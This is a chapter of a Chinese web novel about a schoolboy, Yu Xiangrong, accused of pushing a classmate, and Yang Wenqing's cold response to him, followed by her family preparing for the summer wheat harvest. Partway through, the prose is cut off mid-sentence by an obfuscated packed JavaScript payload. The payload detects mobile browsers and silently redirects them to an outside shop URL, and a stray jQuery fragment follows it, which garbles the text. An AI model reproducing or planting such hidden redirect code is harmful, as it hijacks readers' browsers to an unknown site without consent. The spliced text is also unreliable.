于向荣紧紧抱着怀里的奖杯,一路从教学楼飞奔而下。
刚放学的楼梯间挤满了从各个班级涌出来的学生,不同年级、也男女皆有,可所有人看到他时的第一反应却出奇地一致——要么退避三舍,要么对着他指指点点。
于向荣甚至不用细听,都能猜到他们在说什么。
“就是他推得江时安啊?”
“好小人哦……”
“以后离这种人远点,太可怕了……”
他的脸再次涨得通红,拼命将脚步迈到最大,想要甩掉那些声音,却发现根本甩不掉。
即便他跑出学校,即便身边已空无一人,他的脑海里还是会不由自主地浮现出所有人对他指指点点的画面。
更甚至,就连他看向大街上来来往往的行人时,也会下意识地觉得这些人在议论和辱骂他。
于向荣就快疯了!
他用力地抹了把脸,试图彻底屏蔽这种念头。可越是刻意压制,那想法反而越发汹涌。脑子也像要炸开一样,羞耻与强烈的愤慨交织着,让他一刻也无法安宁。
他太需要一个能把他从这种情绪里带出来的人了。
一个!
哪怕只有一个!
自然而然地,他想到了杨文箐。
因为也只有杨文箐。
想也知道,学校里的同学们不相信他,家里的张桂芳就更不可能信,二舅又常年不在家,至于老师们——单是听了校长和副主任的那番话,他就该明白他们对他的态度了。
所以思量再三,他还是抱着奖杯,等在了杨文箐回家的必经之路上。
终于看到杨文箐载着杨文励从前方的小路上拐了过来,他望着她越来越近的身影,不知怎地,心中那些刚压下去的情绪竟再也无法自抑,眼眶也瞬间蒙上了一层水雾。
他想到了以前,以前每次只要他有什么事,杨文箐总是第一时间跑来安慰他,那时他没觉得什么,可是如今——
他抬手抹去那层水雾,赶在杨文箐从他身边径直骑过前,颤抖着嗓音喊住了她:“阿箐!”
杨文箐捏下刹车,自行车稳稳停在了原地。
都不等她开口,身后的杨文励便不耐烦地问:“你又找我姐干啥?”
于向荣却连看都没看杨文励,目光始终落在杨文箐身上,用近乎乞求的语气说道:“阿箐,我有话跟你说,你能不能……”
杨文箐其实也早猜到他找自己的目的,恰好她也想证实自己心中的猜测,便跳下车把自行车把递给杨文励:“你先骑车回家吧,我晚点儿回去。”
杨文励显然不太情愿,也不大放心杨文箐和于向荣独处,但想到这里离家已经很近了,就算真有什么事,杨文箐喊一嗓子他也能听见,便接过车把道:“那你也别耽搁太久,不然咱爸问起来,我不好交代。”
杨文箐被他这副小大人的语气逗笑了,在他后背拍了一下,“快走吧你,哪来那么多事。”
杨文励这才蹬着自行车离开了。
杨文励走后,于向荣却又不说话了,只是抱着奖杯,低头看着脚下的地面。
见状,杨文箐不得不主动开口问他:“你找我有什么事?”
然而就是这样一句再普通不过的问话,却让于向荣身子轻轻一颤,水雾也霎时再次漫上了他的眼睛。
他狠狠皱了皱眉头,才勉强将那种说不出的委屈感压了回去。
“其实也没什么。”他低声说道:“就是今天,大家都以为江时安摔倒是我推的。”
杨文箐神色淡淡地看着他,语气也没有半分波澜:“难道不是吗?”
于向荣显然没想到她会这样说,猛地抬起头,神情中也满是震惊和受伤,“当然不是!阿箐,为什么连你也这么想?”
“因为你当时的神态和表情,很容易让人产生这种想法。”杨文箐语气平淡地说道:“更何况,你敢说你不嫉妒江时安?当看到全校女生都为江时安欢呼,连老师们也更看重他时,你心里就真的不难受?”
于向荣张了张嘴,脸色再次变得惨白,显然被杨文箐这番话气得不轻,目光也骤然凌厉起来。他语无伦次地辩解道:“我……我那是……我当时看他摔了,我怕别人误会是我推的,所以才……”
“还有,我是难受,但难受也有错吗?我难受就代表我要推他吗?”
“是!我承认,看到大家都更喜欢他,连校长也……我心里确实很难受,也是真的嫉妒他,可……我没有推他,他是自己摔下去的!”
杨文箐却始终一言不发,也没给于向荣所期待的任何安慰与认同。
于向荣是真的有些崩溃了。
他焦躁地地撸着头发,如困兽般在原地转了好几圈,过了好一会儿,才哑着嗓子再次挤出一句:“阿箐,难道在你心里,也觉得我是那种会在背后捅人刀子的小人吗?”
杨文箐依旧没说话。
心里却忍不住冷笑:你会不会在背后捅人刀子我不确定,但你倒真用实际行动向我证明过,你会背着我在外面偷人。
“好!”
最终,于向荣点了点头。
很显然,杨文箐的表现既出乎他的意料,也让他感到极度的失望和崩溃。
“不管你们信不信,反正我没有推江时安,他摔倒也跟我无关!”
神色颓然地说完这一句后,他便气冲冲地扭头走了。
而望着他离去的背影,杨文箐的心里也产生了一丝动摇。
难道,这次真冤枉他了?
****
杨文箐步行回了家。
一进门,便看到杨国强坐在院子里,正低头在磨刀石上“哼哧哼哧”地磨着什么,面前还摆着一个水盆,而杨文励正拿着水瓢往盆里加水。
这不由勾起了杨文箐的好奇,便问道:“爸,你们这是在干什么呢?”
“咱爸在磨镰刀。”杨文励抢着答道。
杨国强也笑呵呵地说道:“这不夏收就快到了,我今儿正好有空,就把所有镰刀都找出来,提前先磨一磨。”
“夏收?”杨文箐蹙起了眉。
“对呀,我们学校下星期二就要放忙假了。”杨文励高兴地补充道。
所谓夏收,指的是农历五月下旬至六月初的夏季作物收获时节。
也就是农村常说的农忙。
以杨文箐所在的地区为例,农忙主要分为两季:冬种夏收和夏种秋收。
其中,冬种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632985|206462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夏收指的便是小麦的种植与收获。
作为北方种植面积最大、也最常见的作物,小麦的收获却远非易事。
尤其在这个既没有任何辅助机械,天气预报也没那么方便获得的年代,收获过程不仅步骤繁杂——需经过收割、捆扎、运送、脱粒、晾晒、扬场,乃至后期的装袋归仓,每一步都要消耗大量体力,甚至,连天气因素也成为决定小麦收成的关键。
由于成熟期短,且对大风、暴雨等突发天气极为敏感,自古时起,夏收便有“龙口夺食”的说法,必须时刻关注天时,争分夺秒。否则,轻则导致小麦倒伏,增加劳作负担,重则还可能使得小麦发芽,造成不必要的重大损失。
因此,在杨文箐的印象里,每次夏收都是一等一的大事。
这也就难怪,杨国强会如此如临大敌了。
毕竟每一季的粮食收成,不仅影响着每家农户自身的利益,更关乎国家的粮食安全——杨文箐没记错的话,这个时期还在实行交公粮制度,也就是农户需将一部分收成上交国家。
学校甚至也会为此专门放假,也就是杨文励所说的“忙假。”
只是——
这么快就要夏收了吗?
杨文箐在心里默默盘算了下日子——对农村长大的人来说,农忙的各个节气其实也代表着不同的时间段。
比如夏收过后,往往也就意味着一个学年即将结束。
也就是说,夏收过后,她的初二学年很快也就要结束了。
杨文箐不由得有些心慌。
初二的课程她尚且跟不上,何况初三?
换句话说,如果初三时她还是现在的学习状态,那到时恐怕就不是她愿不愿意继续上学的问题,而是她还能不能继续上学的问题了。
前所未有的紧迫感顿时让她一刻也不敢懈怠,赶忙大步朝屋内走去。她甚至有些气恼于向荣之前拦着她问话的行为,这不白浪费她的时间吗?
杨文励见她突然一脸严肃地往屋里走,还以为她又出了什么状况,便伸长脖子不解地问道:“姐,你又咋了?”
“没事。”杨文箐把自己的房门关上了。
此后,杨文箐又一头扎入了知识的海洋——
虽说每天听课还是听得混混沌沌,作业也做得依旧惨不忍睹,但好在老师似乎也习惯了她的愚钝却勤奋,不再像以前那样难为她,反倒在她实在做不出题目时,还会对她说上几句鼓励的话。
一切似乎都在往好的方向发展,要说唯一让她烦心的,还是于向荣。
自那天起,他倒像是真生了杨文箐的气,别说像以前那样主动来找她,就是偶尔两人迎面碰上,他也总冷着张脸,就当没看见似的,连理都不理她。
而学校里关于他推倒江时安的传言,也始终因江时安腿伤未愈没来学校上课而成了悬案。
这让杨文箐多少有些心虚,总觉得是不是真冤枉了于向荣。
不过她很快又想开了——爱谁谁,反正自己这辈子不想跟他再有任何牵扯,那他的喜怒哀乐跟自己又有什么关系?
他不来找她才好,省得心烦。
日子也在一天天的上学放学中匆匆而过,很快,真正的夏收到了。